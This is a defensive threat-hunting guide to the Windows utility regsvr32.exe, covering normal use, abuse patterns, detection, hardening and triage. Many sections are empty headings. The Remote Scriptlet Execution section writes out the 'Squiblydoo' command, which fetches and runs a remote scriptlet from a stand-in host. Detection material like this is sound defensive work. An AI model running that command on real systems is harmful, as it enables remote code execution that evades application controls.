regsvr32.exe

Overview

regsvr32.exe is the built-in Windows utility used to register and unregister COM components, typically DLLs and OCX controls.

It loads a specified DLL and calls its exported DllRegisterServer or DllUnregisterServer functions.

Despite the name, regsvr32.exe is not a Registry editor. Its purpose is specifically to make COM components available, or unavailable, to the operating system.

Expected Characteristics

Expected Locations

Typical Profile

Why This Matters

regsvr32.exe is important during investigations because it can be abused to run arbitrary code whilst appearing to execute a trusted Microsoft binary.

Common attacker behaviours include:

Relevant ATT&CK Techniques

Investigation Objective

Determine whether regsvr32.exe is:

Normal Behaviour

Characteristics

Path

Signature

Parent Processes

Typical examples include:

Command Line

Legitimate command lines are usually simple.

Examples:

regsvr32.exe /s <dll>

DLL Characteristics

Typically:

Typical Activity

Expected Behavioural Characteristics

regsvr32.exe:

Abuse Patterns

Path or Signature Mismatch

Investigate immediately if:

Examples include:

regsv32.exe

regsrv32.exe

Suspicious Parent Processes

Investigate regsvr32.exe launched by:

These relationships frequently indicate phishing-driven execution chains.

Abnormal DLL Paths

Investigate DLLs loaded from:

Additional concerns include:

Remote Scriptlet Execution

A classic abuse pattern, commonly referred to as “Squiblydoo”, resembles:

regsvr32.exe /s /n /u /i:https://example.com/file.sct scrobj.dll

This should always be considered suspicious.

regsvr32.exe has very little legitimate reason to retrieve content from the internet.

Suspicious Flag Combinations

Investigate:

These combinations are frequently seen in red-team tooling and malware.

Child Process Anomalies

regsvr32.exe should not typically launch:

powershell.exe

cmd.exe

wscript.exe

cscript.exe

mshta.exe

Any unexpected child process should be investigated as high-severity activity.

Detection Opportunities

Command-Line Analytics

Monitor for:

Among all available telemetry, command-line data is often the most useful indicator for regsvr32 abuse.

Parent Process Monitoring

Investigate when regsvr32.exe is launched by:

These parent-child relationships are typically uncommon.

DLL Path Analytics

Alert when DLLs are loaded from:

The DLL being loaded is often more important than regsvr32.exe itself.

Network Activity

Investigate:

Legitimate COM registration rarely requires network communication.

LOLBin Hunting

Useful hunting pivots include:

Correlated Activity

Review:

High-confidence detections typically combine regsvr32 activity with other suspicious behaviour.

False Positives

Although uncommon, legitimate regsvr32 activity still exists.

Common Legitimate Scenarios

Examples include:

Validation Questions

Check:

Estate Context

Legitimate COM registration activity often:

Hardening Recommendations

Application Control

Consider:

The objective is not necessarily to block regsvr32.exe, but to prevent unauthorised DLL execution.

Restrict User-Writable Execution

Reduce opportunities for DLL execution from:

Many regsvr32 abuse scenarios rely on attacker-controlled directories.

Monitor Scriptlet Execution

Implement detections for:

These are among the highest-value indicators of abuse.

Attack Surface Reduction

Where appropriate:

Defensive Validation

Test:

Controls should be assessed using realistic tradecraft rather than simplistic demonstrations.

Triage Checklist

Identity and Integrity

Lineage and Behaviour

DLL and Scriptlet Context

Scope and Environment

Escalation Considerations

Escalate immediately if:

ATT&CK References

Windows Processes

COM and Registration

MITRE ATT&CK